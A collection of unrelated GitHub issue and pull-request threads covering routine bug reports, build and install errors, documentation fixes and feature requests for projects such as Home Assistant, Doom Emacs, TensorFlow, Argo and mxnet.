Concurrent Dictionary

Does this code either need locking added, or swapped over to a ConcurrentDictionary if it is going to be used in situations where there may be concurrent access?

Closing as ancient.


[BUG] Dependency installation problem

sudo apt-get install libasound2-dev portaudio19-dev
We still need to do this before installing pyaudio (as we did in GeneFace)

When I said 'before installing pyaudio', I mean before pip install -r docs/prepare_env/requirements.txt -v

Got it, I'll update this in the next commit. Thanks for your comments.

Also, I recommand to change line 21 in file data_gen/utils/process_audio/extract_hubert.py from local_path = '/home/tiger/.cache/huggingface/hub/models--facebook--hubert-large-ls960-ft/snapshots/ece5fabbf034c1073acae96d5401b25be96709d8' to local_path = '~/.cache/huggingface........... to upspeed the inference process except the first time.
However, there are many other paths in the code that start with "/home/tiger/... ", and I'm not sure if they should be changed as well.

Good suggestions! I will handle this in the next commit.


Update broken links

Proposed changes
Update broken links in https://docs.docker.com/ee/ucp/admin/install/cloudproviders/install-on-azure/
Related issues (optional)
https://docker.atlassian.net/browse/ENGDOCS-122

@lena-larionova @DawnWood-Docker PTAL.

Deploy preview for docsdocker ready!
Built with commit 460be1a07b6fe860bb2be893a65419d2ae2ff15b
https://deploy-preview-9453--docsdocker.netlify.com


added created users to things displayed in Activty Feed and hyperlinked the users to their profiles

Looks good!


Still alive?

The last commit on this repo was merged on 11 Oct 2015. Is this project still alive? If not, what's the next best alternative. I've gone through a few but it's unclear.

bittrex opensource: https://github.com/frezeq0/bittrex-opensource


Payload - Spot Cameras

Parent User Story
Visualise Spot Cameras From Web Interface
What ?
Register and authenticate payload through the SpotCameras Image Service.
Why ?
Connecting to Spot's cameras requires authentication.
How ?

[x] Use Spot SDK's robot.authenticate_from_payload_credentials method;

BLOCKED - Need to test on spot

CLOSED - errors of analyses


Microsoft.FeatureManagement 2.0.0

Type: Incomplete
Summary:
Microsoft.FeatureManagement 2.0.0
Details:
Declaring MIT
Resolution:
NuGet metadata goes to GitHub master license: MIT. No tagged version
License from commit date matching to release date:
https://github.com/Azure/AppConfiguration/blob/06be4d8a3ad9497cda6490b3943a50fa40110455/LICENSE
Affected definitions:

Microsoft.FeatureManagement 2.0.0

@AE49 When I click on the NuGet, the license link is listed as https://aka.ms/AzureAppConfigurationDotnetCorePublicPreviewEula, which goes to a Pre-Software Release EULA.  I meant the Project link points to the master and the download file is now showing up for me. I made the edit to "OTHER" for Microsoft EULA. Thanks.

@AE49 Thanks for confirming!


Appstudio update test-component-pac-vlxb

Pipelines as Code configuration proposal

Pipelines as Code CI/test-component-pac-vlxb-on-pull-request has successfully validated your commit.

StatusDurationName

✅ Succeeded
44 seconds
appstudio-init

✅ Succeeded
21 seconds
clone-repository

✅ Succeeded
11 seconds
appstudio-configure-build

✅ Succeeded
1 minute
sast-snyk-check

✅ Succeeded
2 minutes
build-container

✅ Succeeded
1 minute
deprecated-base-image-check

✅ Succeeded
35 seconds
sanity-inspect-image

✅ Succeeded
5 minutes
clair-scan

✅ Succeeded
3 minutes
clamav-scan

✅ Succeeded
1 minute
sbom-json-check

✅ Succeeded
12 seconds
sanity-label-check

✅ Succeeded
1 minute
sanity-optional-label-check

✅ Succeeded
18 seconds
show-summary

Pipelines as Code CI/test-component-pac-vlxb-on-pull-request has successfully validated your commit.


Setup failed for hassio: Component failed to initialize.

Hi,
I have installed as describe here hassio o Odroid HC2 (using machine odroid-xu), Everything went without error (I did not installed network-manager only). After some time I was able to connect to HA on port 8123 set up password and it seems working well but I have an error that hassio component can not be start check config. I have hassio: in my configuration.yaml.
2018-11-30 04:01:12 WARNING (MainThread) [homeassistant.setup] Setup of hassio is taking over 10 seconds. 2018-11-30 04:01:12 ERROR (MainThread) [homeassistant.components.hassio.handler] Timeout on /supervisor/ping request 2018-11-30 04:01:12 ERROR (MainThread) [homeassistant.components.hassio] Not connected with Hass.io 2018-11-30 04:01:12 INFO (MainThread) [homeassistant.setup] Setup of domain hassio took 10.0 seconds. 2018-11-30 04:01:12 ERROR (MainThread) [homeassistant.setup] Setup failed for hassio: Component failed to initialize. 2018-11-30 04:01:12 INFO (MainThread) [homeassistant.bootstrap] Home Assistant initialized in 13.93s
I am using Portrainer to control containers and I see both HA and Hassio are running.
But Hassio-supervisior has an errors as well:
[32m18-11-30 04:00:23 INFO (MainThread) [__main__] Initialize Hass.io setup 18-11-30 04:00:23 INFO (MainThread) [__main__] Setup HassIO 18-11-30 04:00:23 INFO (SyncWorker_0) [hassio.docker.supervisor] Attach to Supervisor homeassistant/armhf-hassio-supervisor with version 140 18-11-30 04:00:23 INFO (MainThread) [hassio.utils.gdbus] Introspect org.freedesktop.systemd1 on /org/freedesktop/systemd1 18-11-30 04:00:23 INFO (MainThread) [hassio.utils.gdbus] Connect to dbus: org.freedesktop.systemd1 - /org/freedesktop/systemd1 18-11-30 04:00:23 INFO (MainThread) [hassio.utils.gdbus] Introspect org.freedesktop.hostname1 on /org/freedesktop/hostname1 18-11-30 04:00:24 INFO (MainThread) [hassio.utils.gdbus] Connect to dbus: org.freedesktop.hostname1 - /org/freedesktop/hostname1 18-11-30 04:00:24 INFO (MainThread) [hassio.utils.gdbus] Introspect de.pengutronix.rauc on / 18-11-30 04:00:24 ERROR (MainThread) [hassio.utils.gdbus] DBus return error: b'Error: GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown: The name de.pengutronix.rauc was not provided by any .service files\n' 18-11-30 04:00:24 WARNING (MainThread) [hassio.dbus.rauc] Can't connect to rauc 18-11-30 04:00:24 INFO (MainThread) [hassio.host.info] Update local host information 18-11-30 04:00:24 INFO (MainThread) [hassio.utils.gdbus] Call org.freedesktop.DBus.Properties.GetAll on /org/freedesktop/hostname1 18-11-30 04:00:24 INFO (MainThread) [hassio.host.services] Update service information 18-11-30 04:00:24 INFO (MainThread) [hassio.utils.gdbus] Call org.freedesktop.systemd1.Manager.ListUnits on /org/freedesktop/systemd1 18-11-30 04:00:24 INFO (MainThread) [hassio.host.apparmor] Load AppArmor Profiles: {'hassio-supervisor'} 18-11-30 04:00:24 INFO (MainThread) [hassio.host.services] Reload local service hassio-apparmor.service 18-11-30 04:00:24 INFO (MainThread) [hassio.utils.gdbus] Call org.freedesktop.systemd1.Manager.ReloadOrRestartUnit on /org/freedesktop/systemd1 18-11-30 04:00:24 INFO (SyncWorker_1) [hassio.docker.interface] Attach to image homeassistant/odroid-xu-homeassistant with version 0.82.1 18-11-30 04:00:24 INFO (MainThread) [hassio.addons.git] Load add-on /data/addons/core repository 18-11-30 04:00:24 INFO (MainThread) [hassio.addons.git] Load add-on /data/addons/git/a0d7b954 repository 18-11-30 04:00:24 INFO (MainThread) [hassio.addons] Load add-ons: 47 all - 47 new - 0 remove 18-11-30 04:00:25 INFO (MainThread) [hassio.updater] Fetch update data from https://s3.amazonaws.com/hassio-version/stable.json 18-11-30 04:00:27 INFO (MainThread) [hassio.snapshots] Found 0 snapshot files 18-11-30 04:00:27 INFO (MainThread) [hassio.discovery] Load 0 messages 18-11-30 04:00:27 INFO (MainThread) [__main__] Run Hass.io 18-11-30 04:00:27 INFO (MainThread) [hassio.misc.dns] Start DNS port forwarding for host add-ons 18-11-30 04:00:27 INFO (MainThread) [hassio.core] Ignore Hass.io auto updates on dev channel 18-11-30 04:00:27 INFO (MainThread) [hassio.api] Start API on <IP_ADDRESS> 18-11-30 04:00:27 INFO (MainThread) [hassio.addons] Startup initialize run 0 add-ons 18-11-30 04:00:27 INFO (MainThread) [hassio.core] Hass.io reboot detected 18-11-30 04:00:27 INFO (MainThread) [hassio.tasks] All core tasks are scheduled 18-11-30 04:00:27 INFO (MainThread) [hassio.core] Hass.io is up and running 18-11-30 04:00:42 WARNING (MainThread) [hassio.tasks] Watchdog found a problem with Home Assistant Docker! 18-11-30 04:00:42 INFO (SyncWorker_5) [hassio.docker.interface] Clean homeassistant/odroid-xu-homeassistant Docker application 18-11-30 04:00:44 INFO (SyncWorker_5) [hassio.docker.homeassistant] Start homeassistant homeassistant/odroid-xu-homeassistant with version 0.82.1 18-11-30 04:12:23 WARNING (MainThread) [hassio.homeassistant] Don't wait anymore of Home Assistant startup! 18-11-30 04:12:23 ERROR (MainThread) [hassio.tasks] Watchdog Home Assistant reanimation fails!
Help please?

Hmmm... that's a recently "supported" board. What is the host kernel version? Dbus version? Docker version?
I ordered an XU4 to port to HassOS to, so I'll be starting that this weekend with any luck.

Please use the installer. Hass.io will never run with as a portainer setup.

I used installer as I wrote. I use portrainer only to control containers as
I have a few other.
So after run the script I got above errors.
On Sat., 1 Dec. 2018, 01:59 Pascal Vizeli<EMAIL_ADDRESS>wrote

Please use the installer. Hass.io will never run with as a portainer setup.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/home-assistant/hassio-build/issues/130#issuecomment-443229266,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Aoio9rHao18dE-iMS_vPyb5Ew0oE-zftks5u0UfXgaJpZM4Y6-qz
.

This is my docker info:
Containers: 6  Running: 6  Paused: 0  Stopped: 0 Images: 6 Server Version: 18.09.0-ce Storage Driver: overlay2  Backing Filesystem: extfs  Supports d_type: true  Native Overlay Diff: true Logging Driver: json-file Cgroup Driver: cgroupfs Plugins:  Volume: local  Network: bridge host macvlan null overlay  Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog Swarm: inactive Runtimes: runc Default Runtime: runc Init Binary: docker-init containerd version: 9f2e07b1fc1342d1c48fe4d7bbb94cb6d1bf278b.m runc version: 079817cc26ec5292ac375bb9f47f373d33574949 init version: fec3683 Security Options:  seccomp   Profile: default Kernel Version: 4.14.81-1-ARCH Operating System: Arch Linux ARM OSType: linux Architecture: armv7l CPUs: 8 Total Memory: 1.947GiB Name: alarm ID: EDKJ:BE2X:N4P6:GUPO:PBIF:3FRI:XSTI:N4US:HN5X:COTY:K5IC:2ZXX Docker Root Dir: /var/lib/docker Debug Mode (client): false Debug Mode (server): false Registry: https://index.docker.io/v1/ Labels: Experimental: false Insecure Registries:  <IP_ADDRESS>/8 Live Restore Enabled: false
Dbus:
pacman -Qi dbus Name            : dbus Version         : 1.12.10-2 Description     : Freedesktop.org message bus system Architecture    : armv7h URL             : https://wiki.freedesktop.org/www/Software/dbus/ Licenses        : GPL  custom Groups          : None Provides        : libdbus Depends On      : libsystemd  expat Optional Deps   : None Required By     : avahi  libpcap  systemd Optional For    : None Conflicts With  : libdbus Replaces        : libdbus Installed Size  : 942.00 KiB Packager        : Arch Linux ARM Build System<EMAIL_ADDRESS>Build Date      : Thu Sep 6 05:48:27 2018 Install Date    : Sat Oct 6 00:31:33 2018 Install Reason  : Installed as a dependency for another package Install Script  : No Validated By    : SHA-256 Sum
I USED SCRIPT TO INSTALL, please reopen the case.

I did reboot and I have run docker logs hassio_supervisor:
All good until:
18-11-30 07:02:23 ERROR (MainThread) [hassio.homeassistant] Error on call http://<IP_ADDRESS>:8123/api/: 18-11-30 07:02:23 WARNING (MainThread) [hassio.tasks] Watchdog miss API response from Home Assistant 18-11-30 07:07:23 ERROR (MainThread) [hassio.homeassistant] Error on call http://<IP_ADDRESS>:8123/api/: 18-11-30 07:07:23 ERROR (MainThread) [hassio.tasks] Watchdog found a problem with Home Assistant API! 18-11-30 07:07:23 INFO (SyncWorker_34) [hassio.docker.interface] Stop homeassistant/odroid-xu-homeassistant Docker application 18-11-30 07:07:28 INFO (SyncWorker_34) [hassio.docker.interface] Clean homeassistant/odroid-xu-homeassistant Docker application 18-11-30 07:07:34 INFO (SyncWorker_35) [hassio.docker.homeassistant] Start homeassistant homeassistant/odroid-xu-homeassistant with version 0.82.1 18-11-30 07:19:11 WARNING (MainThread) [hassio.homeassistant] Don't wait anymore of Home Assistant startup! 18-11-30 07:19:11 ERROR (MainThread) [hassio.tasks] Watchdog Home Assistant reanimation fails!
docker logs homeassistant:
All good apart of that:
2018-12-01 01:08:53 WARNING (MainThread) [homeassistant.setup] Setup of hassio is taking over 10 seconds. 2018-12-01 01:08:53 ERROR (MainThread) [homeassistant.components.hassio.handler] Timeout on /supervisor/ping request 2018-12-01 01:08:53 ERROR (MainThread) [homeassistant.components.hassio] Not connected with Hass.io 2018-12-01 01:08:53 INFO (MainThread) [homeassistant.setup] Setup of domain hassio took 10.0 seconds. 2018-12-01 01:08:53 ERROR (MainThread) [homeassistant.setup] Setup failed for hassio: Component failed to initialize. 2018-12-01 01:08:53 INFO (MainThread) [homeassistant.bootstrap] Home Assistant initialized in 14.64s 2018-12-01 01:08:53 INFO (MainThread) [homeassistant.core] Starting Home Assistant 2018-12-01 01:08:53 INFO (MainThread) [homeassistant.core] Timer:starting
Please help.

I did another reboot and hassio logs looks clean only:
01:47:02 WARNING (MainThread) [hassio.homeassistant] Don't wait anymore of Home Assistant startup!
Homeassistant logs looks the same:
2018-12-01 01:08:53 WARNING (MainThread) [homeassistant.setup] Setup of hassio is taking over 10 seconds. 2018-12-01 01:08:53 ERROR (MainThread) [homeassistant.components.hassio.handler] Timeout on /supervisor/ping request 2018-12-01 01:08:53 ERROR (MainThread) [homeassistant.components.hassio] Not connected with Hass.io 2018-12-01 01:08:53 INFO (MainThread) [homeassistant.setup] Setup of domain hassio took 10.0 seconds. 2018-12-01 01:08:53 ERROR (MainThread) [homeassistant.setup] Setup failed for hassio: Component failed to initialize. 2018-12-01 01:08:53 INFO (MainThread) [homeassistant.bootstrap] Home Assistant initialized in 14.64s 2018-12-01 01:08:53 INFO (MainThread) [homeassistant.core] Starting Home Assistant 2018-12-01 01:08:53 INFO (MainThread) [homeassistant.core] Timer:starting


xsv apply '' col -c col_copy file.csv not working

According to xsv apply -h, it should be working (to solve the problem, "" can be added to the operator list).
Also it does the same as xsv enum --copy col -c col_copy file.csv so rather than fixing it, the sentence in the helper could be erased.

Fixed :)


Fix host-port splitter in SentinelConnectionManager for ipv6 addresses

Now SentinelConnectionManager splits host and port by first colon. That doesn't work for IPV6 adresses

Thanks for contribution!


By.js should accept function as argument

Created PR #4308 - the Selenium javascript bindings specify that a function can be passed to By.js locator, however the Protractor typescript files do not allow a function.
This PR makes Protractor's By.js signature match the signature used by Selenium, since By.js (according to Protractor docs) is inherited directly from Selenium's webdriver.By.js.
See relevant source here: https://github.com/SeleniumHQ/selenium/blob/master/javascript/node/selenium-webdriver/lib/by.js#L183
Bug report

Node Version: 7.10.0
Protractor Version: 5.1.2
Angular Version: n/a
Browser(s): n/a
Operating System and Version Mac OS Sierra v10.12.5
Your protractor configuration file: n/a
A relevant example test:

const el = element(by.js(function(){ return document.querySelector('html');}));

Output from running the test:
Run this test in Protractor's Element Explorer and it works, but if you have this test written in a .TS file, the TSC compiler will complain that by.js only accepts a string.
Steps to reproduce the bug: put the example code into a .ts file and try to compile.
The URL you are running your tests against (if relevant): n/a

I met the same issue, somebody please help with this.


Support dvorak keyboard layout

I'm using the dvorak keyboard, but the doom-emacs is for vimers, do you have any idea how to exchange the 'HJKL' and 'DHTN'.

I'm afraid I haven't even considered other keyboard layouts. Would something like https://github.com/yangchenyun/programmer-dvorak cut it?

I'd just like to input that I use exclusively use dvorak with unmodified vim bindings and it works great. JK are right next to each other and H and L are to the left and right respectively. Of course this is not a solution and I do not mean to hinder this investigation.

I took a stab at this last year when I was experimenting with Colemak. While it's possible, it's rather involved.

I too use dvorak with normal qwerty vim bindings.
I did change TWO things though:

Remapping avy-keys to the dvorak home row is nice.(setq avy-keys '(?a ?o ?e ?u ?i ?d ?h ?t ?n ?s))

Maknig quail know what is the global key layout. maybe not useful for everybode, but that way I can write in an another input method (Hebrew) while leaving my global keymap as dvorak.
Without this, the remapping of keys to another input method gets screwed: For instance, with Hebrew, 'א' is normally placed on 'T' in qwerty - but when using dvorak, to get a 'א' in the internal input method youll need to find the DVORAK 'T' which is somewhere else and press that. its a nightmare.
This fixes it. its perfect now.

(after! quail
  (add-to-list 'quail-keyboard-layout-alist
               `("dvorak" . ,(concat "                              "
                                     "  1!2@3#4$5%6^7&8*9(0)[{]}`~  "
                                     "  '\",<.>pPyYfFgGcCrRlL/?=+    "
                                     "  aAoOeEuUiIdDhHtTnNsS-_\\|    "
                                     "  ;:qQjJkKxXbBmMwWvVzZ        "
                                     "                              "))))
(quail-set-keyboard-layout "dvorak")

might be useful to support that if supporting dvorak, but again - I don't think many users both use dvorak and want to write in on another language, all inside emacs. Only remapping avy-keys is also fine.

evil-collection-translate-key and/or general-translate-key should make alternative layouts fairly easy from a technical POV.  The hard part is manually adjusting all the edge cases that will pop up afterwards. Before switching to Doom Emacs, I did this in my home-grown Emacs config for the Workman layout.

I need to type cedilla in a us-intl qwerty keyboard. I was surprised not to find this input-method in Doom. Could you add this or tell me how to add this? Is there a package to add input-methods to Doom?

I found a way to type cedilla.
"LANG=C emacs &"
:)

One note for ace-window: as C-x o is the typical way to invoke this (all in the left hand), you may want to set aw-keys to only the right hand, i.e.
(setq aw-keys '(?h ?t ?n ?s ?g ?c ?r ?l ?d ?f ?b ?m ?w))

or some variant thereof, wherever you set this in your config (using after! or use-package!).

C-x o is the typical way to invoke this

I use C-w C-w, I thought that was the regular (evil-mode?) way.

Oh whoops you're right. C-x o is the non-Doom way to do it in emacs, and you definitely want the shortcut keys you configured when doing the evil/vim way.

A possible intermediate proposal:
I use Tridactyl, so I am used to j k for up and down navigation in that context. But h and l are pretty awkward in a Dvorak layout, not to mention unfamiliar!  Could the bindings for these keys simply be swapped with m and w?
(I.e., these keys are symmetrical to j k keyboard.)

I think that designing complex configs for multiple keyboard layouts on a case by case basis is a problematic solution. There are over a dozen "major" keyboard layouts for English typing, but almost all of them only adapt alphabet keys and a handful of symbols. Whereas any user of an optimized 40% or 30% keyboard will have their own non-standard numerical and symbol key arrangement even if they type QWERTY, so making keyboard layout presets to support the majority of ergonomics-critical users is totally impossible. Even if you make presets for Dvorak, Capewell Dvorak, Workman, Colemak, Colemak-DH, Colemak DHm, Arensito, Mtgap 3.0, CarpleX's unpronounceable thing, Qwickly, Minimak, Hands Down, Halmak, and Norman, I would guess you have only 80%ish of non-Qwerty typists covered.
Instead, I think it is more sensible to abstract keybindings spacially. Instead of binding a command to "a" in evil-bindings.el, bind that command to __LPinkyHomerow, and let the user define what __LPinkyHomerow means to them in some dedicated keymap.el file. This would allow users to add their own layout very very easily and safely. There's nothing wrong with making some presets for common layouts such as Dvorak (Programmer Dvorak, mentioned above, happens to be how I type this!), but if supporting ergonomic keyboard layouts is a goal of Doom Emacs, a more thorough solution would be very helpful.

I think that designing complex configs for multiple keyboard layouts on a case by case basis is a problematic solution. There are over a dozen "major" keyboard layouts for English typing, but almost all of them only adapt alphabet keys and a handful of symbols.

100%
I can see the argument for being able to remap HJKL  but IF someone was to implement a solution for this in doom itself you should consider 2 things:

there are people in the world with no right hand or right hands that are disabled / hampered in various ways (i know a guy with only 3 fingers on his for example).  IF you're going to go through the trouble of remapping it because you're using a different keyboard layout it doesn't make much sense to remap it to something that goes against ergonomics and forces you to move out of "home position". This is extra true if the reason you're using the alternative layout is ergonomics (as opposed to just using a different language's keyboard).

If you browse the "modes" directory for evil-collection, it's astounding how many there are and how much work must have gone into devising them all.
It would be an even more amazing feat to redo all of that for Dvorak et cetera. Maybe some day someone can come up with a way to programmatically determine and translate the most efficient bindings for every layout in every Emacs mode. That would be wonderful. Maybe each binding could be defined by parameters having to do with their function, whether they should be placed next to a related key, whether they should be placed under the opposite hand of another binding, and so forth.
But I'm also a Dvorak typist, and I agree with the statement that evil bindings really aren't bad in Dvorak. I've tried to implement a full-blow custom bindings for Dvorak layout. While it was a great improvement for simple editing, there's no way I'm going to duplicate the efforts of evil-collection. Now I've moved back to (mostly) the default evil-bindings, and it's nice to have things just work again.
QWERTY, has only one advantage, IMO: the char movement keys. There is nothing particularly special about the placement of the other keys. It's better to use the b, w, a, t, and f keys to move around. Plus there's evil-snipe, easymotion, and avy for quick and accurate cursor movement. Having the cursor keys in suboptimal locations might actually be good, because it encourages using them less.


FR: Hide previous races from schedule

Is your feature request related to a problem? Please describe.
I'm using "row_limit: 5" when displaying the schedule card, but that will be a bit pointless when 5 races have passed as it will then only display old races.
Have you tried if it is already a feature? Have you checked the wiki?
Yes
Describe the solution you'd like
An option to hide previous races in the schedule card.
Describe alternatives you've considered
Filter out races from the array where the race date is in the past

Ah, I misunderstood the readme. My bad! Thanks for the super quick reply :D


Incremental save fails with resource variables

System information

TensorFlow version (use command below): 1.12.2
Python version: 3.6

Describe the current behavior
Incremental save and restore fails if any resource variable is used.
Describe the expected behavior
Code to reproduce the issue
import tensorflow as tf
tf.Variable(0, use_resource=True)
saver = tf.train.Saver(
    save_relative_paths=True,
    incremental_save_restore=True,
)

Other info / logs
Traceback (most recent call last):
  File "iem_dlc/__main__.py", line 20, in <module>
    incremental_save_restore=True,
  File "/worker/venv/lib/python3.6/site-packages/tensorflow/python/training/saver.py", line 1388, in __init__
    self.build()
  File "/worker/venv/lib/python3.6/site-packages/tensorflow/python/training/saver.py", line 1404, in build
    self._build(self._filename, build_save=True, build_restore=True)
  File "/worker/venv/lib/python3.6/site-packages/tensorflow/python/training/saver.py", line 1486, in _build
    build_save=build_save, build_restore=build_restore)
  File "/worker/venv/lib/python3.6/site-packages/tensorflow/python/training/saver.py", line 1053, in _build_internal
    save_tensor = self._AddSaveOps(filename_tensor, saveables)
  File "/worker/venv/lib/python3.6/site-packages/tensorflow/python/training/saver.py", line 511, in _AddSaveOps
    tensor_names.append(self._GetTensorNameAndIsSparse(spec, saveable)[0])
  File "/worker/venv/lib/python3.6/site-packages/tensorflow/python/training/saver.py", line 360, in _GetTensorNameAndIsSparse
    save_incr_sparse = saveable.op.op._is_sparse and self._incremental_include_normal_var
AttributeError: 'Operation' object has no attribute '_is_sparse'

thanks.
It's a bug when Graph has ResourceVariable Node.
I will fix it later.


feat(dapp-console-api): configure db relations

#269  👈
main

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Removed checks for blurring operator to allow SIRFDataContainers to be passed

Description

closes #1801
Example Usage

:heart: Thanks for your contribution!
blame GH for this text: https://github.com/orgs/community/discussions/81319
Changes
Testing you performed

Please add any demo scripts to https://github.com/TomographicImaging/CIL-Demos/tree/main/misc

Related issues/links
Checklist

[x] I have performed a self-review of my code
[x] I have added docstrings in line with the guidance in the developer guide
[x] I have updated the relevant documentation
[x] I have implemented unit tests that cover any new or modified functionality
[x] CHANGELOG.md has been updated with any functionality change
[x] Request review from all relevant developers
[x] Change pull request label to 'Waiting for review'

Contribution Notes
Please read and adhere to the developer guide and local patterns and conventions.

[x] The content of this Pull Request (the Contribution) is intentionally submitted for inclusion in CIL (the Work) under the terms and conditions of the Apache-2.0 License
[x] I confirm that the contribution does not violate any intellectual property rights of third parties

Jenkins is happy


Fix error message

Was:
> Task :refreshVersions FAILED

FAILURE: Build failed with an exception.

* What went wrong:
Execution failed for task ':refreshVersions'.
> Unable to find a version candidate for the following artifact:
  org.reactivex:refreshVersions
  Please, check this artifact exists in the configured repositories.

Now is
> Task :refreshVersions FAILED

FAILURE: Build failed with an exception.

* What went wrong:
Execution failed for task ':refreshVersions'.
> Unable to find a version candidate for the following artifact:
  org.reactivex:rxgroovy
  Please, check this artifact exists in the configured repositories.

Hi, can you please check if it happens with the latest dev version (see new doc in the develop branch), and if so, target your PR against this branch?

Error message is gone apparently, I cannot find it quickly anymore. Closing this then and wait for any next official version.


Too Heavy??? For a simple code editor? Please correct me if I'm wrong

Is your feature request related to a problem? >> YES
A clear and concise description of what the problem is. Ex. I'm always frustrated when [Godot opens and CPU's on max and RAM too. I have a pretty low end system, Please tell me the minimum system requirements.]
Describe the solution you'd like
A clear and concise description of what you want to happen. >> I would probably like to want this thing reduce its dependence on Godot as it is quite heavy. Although I know that the eye candy is powered through this. I'm pretty sure you can find something. I've never seen a code editor crash due to not enough system resources.
Even Windows Terminal can mimic this effect while being low on system resources, So, I'm sure a code editor is no exception, Although I'm not a dev like you. :) But am interested in these things.
The OS I'm using is Arch Linux.

Ran this using another pc I have, Looks great! But still uses like 80% of 4gb RAM>>>:(

I get errors that page files aren't cleared and left with page allocator? I have 10Gig swap so that's not that much of an issue but I don't think swap gets cleared until I reboot my system and turn it on again/


Narrator does not provide proper information on activating 'Reset View' button

A team member will update this issue with more details soon.

This is your friendly Microsoft Issue Bot. I created this issue automatically as requested by a team member.


Switch to using a library

Home Assistant requires using a library for all API calls, rather than having the calls directly in the integration. Luckily, there is already a library (https://github.com/cybermaggedon/pyglowmarkt) that should work.
Switching to a library should clean up the code and make it easier to maintain.

FIxed by #282


rpy2 v3.3.5 (fix)

Auto-update is failing since 3.3.3 due to the patch merged upstream.
This PR updates to 3.3.5 by dropping the patch.

Checklist

[x] Used a fork of the feedstock to propose changes
[x] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.

There is now a test failure
 rpy2.robjects.packages.PackageNotInstalledError: The R package "stats" is not installed

Done via https://github.com/conda-forge/rpy2-feedstock/pull/70


Get JwtSecurityHandler from DI?

The use of JwtSecurityHandler seems to diverge from the general use of DI in both Identity Server code and basically everywhere else.
A common thing is to see "var handler = new JwtSecurityHandler()". This should in a setup like Identity Server perhaps be via a DI injected service instead?

..and what would be the advantage of that?

Solving a problem like setting MaximumTokenSizeInBytes as a general configuration in startup.cs via DI .)
(https://docs.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenhandler.maximumtokensizeinbytes?view=azure-dotnet)


Add workflow variable support for non-string fields

Summary
What change needs making?
Currently workflow variables can only be used in string fields(#3041), we should add support for non-string fields.
Use Cases
When would you use this?
For example, activeDeadlineSeconds is an int64 field in Argo. If I want to set the value from a parameter:
  templates:
  - name: apply-manifest
    inputs:
      parameters:
      - name: manifest
      - name: timeout
    resource:
      action: apply
      manifest: "{{inputs.parameters.manifest}}"
    activeDeadlineSeconds: "{{inputs.parameters.timeout}}"

, a validation error will be raised:
activeDeadlineSeconds must be a positive integer > 0 or an argo variable

Using yaml's type cast is also not possible:
    activeDeadlineSeconds: !!int "{{inputs.parameters.timeout}}"

, because the yaml parser tries to convert the string "{{inputs.parameters.timeout}}" as int first.

Message from the maintainers:
Impacted by this bug? Give it a 👍. We prioritise the issues with the most 👍.

you can use podSpecPatch to parameterized value.
https://github.com/argoproj/argo/blob/master/examples/pod-spec-from-previous-step.yaml

you can use podSpecPatch to parameterized value.
https://github.com/argoproj/argo/blob/master/examples/pod-spec-from-previous-step.yaml

I think it only applies to container fields, while activeDeadlineSeconds in the example is a field of the template. I think it should not work.

templates:
- name: apply-manifest
inputs:
parameters:
- name: manifest
- name: timeout
resource:
action: apply
manifest: "{{inputs.parameters.manifest}}"
activeDeadlineSeconds: "{{inputs.parameters.timeout}}"

The above example is mentioning about template fields which will directly transform to podSpec. Template's activeDeadlineSeconds is intstr but it won't support {{}} parameter template.
It will set in pod activeDeadlineSeconds.
The example should work.

@sarabala1979
Thanks, I get it, it should be a valid workaround for my case.


Macro: when switching from the Macromolecules module to the Molecules module errors appear in the Console

Steps to Reproduce

Launch "Ketcher" and go to the Macromolecules module
Open the Console
Inside the "RNA" section in the "Sugars" subsection, select any sugar
Inside the "RNA" section in the "Bases" subsection, select any base
Inside the "RNA" section in the "Phosphates" subsection, select any phosphate
In the "RNA Builder" subsection, click on the "Add to Presets" button
In the "Presets" subsection, click on this added preset
Click on any empty place on the canvas
Go to the Molecules module

Actual behavior
When switching from the Macromolecules module to the Molecules module errors appear in the Console
Expected behavior
Switching from the Macromolecules module to the Molecules module should be without any errors in the Console
Screenshots
https://github.com/epam/ketcher/assets/139227567/e08d96fd-c79a-492a-93b9-fc4416957a0e
Desktop (please complete the following information):

OS: Windows 10 Pro (version 22H2) x64
Browser: Сhrome
Version: (117.0.5938.152) x64

Ketcher version 0.1.0

Autotest added.


Error while trying to make the mxnet in Centos? why

[root@p900_v2 mxnet]# make -j $(nproc) USE_OPENCV=1 USE_BLAS=openblas USE_CUDA=1 USE_CUDA_PATH=/usr/local/cuda USE_CUDNN=1
Package opencv was not found in the pkg-config search path.
Perhaps you should add the directory containing opencv.pc' to the PKG_CONFIG_PATH environment variable No package 'opencv' found Package opencv was not found in the pkg-config search path. Perhaps you should add the directory containing opencv.pc'
to the PKG_CONFIG_PATH environment variable
No package 'opencv' found
In file included from src/io/image_det_aug_default.cc:12:0:
src/io/./image_augmenter.h:12:30: fatal error: opencv2/opencv.hpp: No such file or directory
#include <opencv2/opencv.hpp>
^
compilation terminated.
In file included from src/io/image_aug_default.cc:11:0:
src/io/./image_augmenter.h:12:30: fatal error: opencv2/opencv.hpp: No such file or directory
#include <opencv2/opencv.hpp>
^
compilation terminated.
In file included from src/io/iter_image_det_recordio.cc:21:0:
src/io/./image_augmenter.h:12:30: fatal error: opencv2/opencv.hpp: No such file or directory
#include <opencv2/opencv.hpp>
^
compilation terminated.
In file included from src/io/iter_image_recordio.cc:22:0:
src/io/./image_augmenter.h:12:30: fatal error: opencv2/opencv.hpp: No such file or directory
#include <opencv2/opencv.hpp>
^
compilation terminated.
src/io/image_io.cc:20:32: fatal error: opencv2/opencv.hpp: No such file or directory
#include <opencv2/opencv.hpp>
^
compilation terminated.
In file included from src/io/iter_image_recordio_2.cc:19:0:
src/io/./image_augmenter.h:12:30: fatal error: opencv2/opencv.hpp: No such file or directory
#include <opencv2/opencv.hpp>

@liyaochong  Its your uncorrect opencv problem. Not related to mxnet.

I've got this same error.
I verified that opencv was installed correctly
Python site-packages shows cv2.so
site-packages]$ ls
cv2.so

Library can be used in python too
[ec2-user@ip-172-31-16-37 site-packages]$ sudo python
Python 2.7.14 (default, Jul 26 2018, 19:59:38)
[GCC 7.3.1 20180303 (Red Hat 7.3.1-5)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import cv2
>>> cv2.__version__
